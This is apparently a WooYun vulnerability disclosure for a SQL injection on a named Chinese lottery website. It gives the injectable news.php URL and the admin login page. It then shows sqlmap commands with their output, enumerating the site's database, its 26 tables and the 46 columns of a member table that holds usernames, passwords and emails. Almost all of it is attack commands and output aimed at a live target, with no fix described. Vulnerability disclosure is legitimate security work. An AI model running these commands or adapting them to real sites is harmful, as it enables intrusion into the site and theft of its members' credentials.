WooYun.org

注入点： http://www.wuhufucai.cn/news.php?id=22
后台登陆地址：http://www.wuhufucai.cn/admin/Admin_Login.php
sqlmap.py -u http://www.wuhufucai.cn/news.php?id=22 --dbs
web application technology: Apache
back-end DBMS: MySQL 5.0
[07:20:23] [INFO] fetching database names
[07:20:23] [INFO] the SQL query used returns 2 entries
[07:20:24] [INFO] retrieved: information_schema
[07:20:24] [INFO] retrieved: hdm0970097_db
available databases [2]:
[*] hdm0970097_db
[*] information_schema
sqlmap.py -u http://www.wuhufucai.cn/news.php?id=22 --tables -D hdm0970097_db
Database: hdm0970097_db
[26 tables]
+------------------+
| dx_bank |
| dx_counter |
| dx_jl_list |
| dx_jl_name |
| dx_lines |
| dx_lottery |
| dx_lottery_class |
| dx_mpg |
| dx_news |
| dx_pic |
| dx_question |
| dx_research |
| dx_ts |
| email |
| job |
| link |
| link_class |
| linklink |
| main |
| message |
| network |
| pic_link_class |
| product |
| receive |
| t_members |
| vita |
+------------------+
Database: hdm0970097_db
Table: t_members
[46 columns]
+--------------+-----------------------+
| Column | Type |
+--------------+-----------------------+
| admin_level | int(5) |
| attach | varchar(50) |
| banpm | text |
| bday | date |
| charge | varchar(50) |
| chk | int(255) |
| datefm | varchar(15) |
| email | varchar(60) |
| gender | tinyint(1) |
| groupid | tinyint(3) |
| groups | varchar(255) |
| hack | varchar(255) |
| honor | varchar(100) |
| icon | varchar(100) |
| icq | varchar(12) |
| introduce | text |
| kf | varchar(22) |
| lastaddrst | varchar(255) |
| location | varchar(36) |
| medals | varchar(255) |
| member_level | int(10) |
| memberid | tinyint(3) |
| msggroups | varchar(255) |
| msn | varchar(35) |
| newpm | tinyint(1) |
| newrp | tinyint(1) |
| oicq | varchar(12) |
| p_num | tinyint(3) unsigned |
| password | varchar(40) |
| payemail | varchar(60) |
| power | int(10) |
| publicmail | tinyint(1) |
| receivemail | tinyint(1) |
| regdate | int(10) unsigned |
| safecv | varchar(10) |
| showsign | tinyint(1) unsigned |
| signature | text |
| signchange | tinyint(1) |
| site | varchar(75) |
| style | varchar(12) |
| t_num | tinyint(3) unsigned |
| timedf | varchar(5) |
| uid | mediumint(8) unsigned |
| username | varchar(15) |
| yahoo | varchar(35) |
| yz | int(10) |
+--------------+-----------------------+